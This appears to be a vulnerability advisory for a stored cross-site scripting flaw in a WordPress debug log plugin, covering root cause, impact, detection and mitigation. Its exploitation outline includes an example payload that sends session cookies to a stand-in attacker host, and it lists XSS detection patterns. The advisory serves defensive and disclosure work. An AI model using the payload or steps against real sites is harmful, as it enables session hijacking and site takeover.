CVE-2026-120114: 
WordPress vulnerability analysis and mitigation

CVE-2026-120114 is a stored cross-site scripting (XSS) vulnerability in the "Conveniently Monitor and Inspect Errors" (Debug Log Manager) WordPress plugin by qriouslad, affecting all versions up to and including 2.5.2. The flaw arises from insufficient input sanitization and output escaping of the message and pageUrl parameters, enabling unauthenticated attackers to inject arbitrary web scripts. Exploitation requires that the site administrator has debug logging with JavaScript error logging enabled, and that the attacker can obtain the publicly broadcast dlmVars.jsErrorLogging nonce. The vulnerability is estimated as Medium severity (VulDB, Radar Offseq).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize the message and pageUrl parameters before storing them, and does not escape the stored values upon output. An unauthenticated attacker can exploit this by submitting a crafted JavaScript error payload that gets logged by the plugin; the nonce (dlmVars.jsErrorLogging) required to submit error logs is publicly broadcast in the page source, lowering the barrier to exploitation. The injected script executes in the browser of any user (including administrators) who subsequently views the affected debug log page (VulDB, Radar Offseq).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user who views the injected debug log page, including site administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise. The stored nature of the XSS means the payload persists until the log is cleared, increasing the window of exposure (VulDB).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure. The vulnerability requires specific preconditions — JavaScript error logging must be enabled by the site admin — which limits the attack surface. However, the nonce used to authenticate error log submissions is publicly exposed in page source, making the authentication barrier trivially bypassed once the preconditions are met. No EPSS score or CISA KEV catalog listing has been identified for this CVE (Radar Offseq, VulDB).

1. Reconnaissance: Identify WordPress sites running the Debug Log Manager plugin (qriouslad) version 2.5.2 or earlier with JavaScript error logging enabled in the admin settings.
2. Obtain the nonce: Load any page of the target WordPress site and inspect the page source or JavaScript variables to extract the publicly broadcast dlmVars.jsErrorLogging nonce value.
3. Craft the payload: Prepare a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the message or pageUrl parameter of the error logging endpoint.
4. Submit the malicious log entry: Send an HTTP request to the plugin's error logging endpoint, including the extracted nonce and the crafted XSS payload in the message (and/or pageUrl) parameter.
5. Wait for victim interaction: The stored payload executes when an administrator or other authenticated user views the debug log page within the WordPress admin panel, triggering the injected script in their browser context.
6. Achieve objective: Depending on the payload, the attacker can steal session cookies, perform actions as the admin, or further compromise the site (Radar Offseq, VulDB).

• Network: Unexpected HTTP POST requests to the plugin's JavaScript error logging endpoint from external or unknown IP addresses, particularly with unusual or encoded message/pageUrl parameter values containing HTML or script tags.
• Logs: WordPress or web server access logs showing repeated submissions to the error logging endpoint with payloads containing <script>, javascript:, or encoded XSS strings.
• File System: Presence of stored XSS payloads within the plugin's debug log database entries or log files.
• Browser/Admin Panel: Unexpected redirects, pop-ups, or outbound requests initiated when an administrator views the debug log page in the WordPress admin panel.

Users should update the Debug Log Manager plugin (qriouslad) to a version beyond 2.5.2 that addresses this vulnerability, once a patched release is available from the plugin author or the WordPress plugin repository. As an immediate workaround, site administrators should disable JavaScript error logging in the plugin's settings to eliminate the attack surface. Restricting access to the WordPress admin panel via IP allowlisting and monitoring debug log entries for unexpected script content are additional defensive measures (VulDB, Radar Offseq).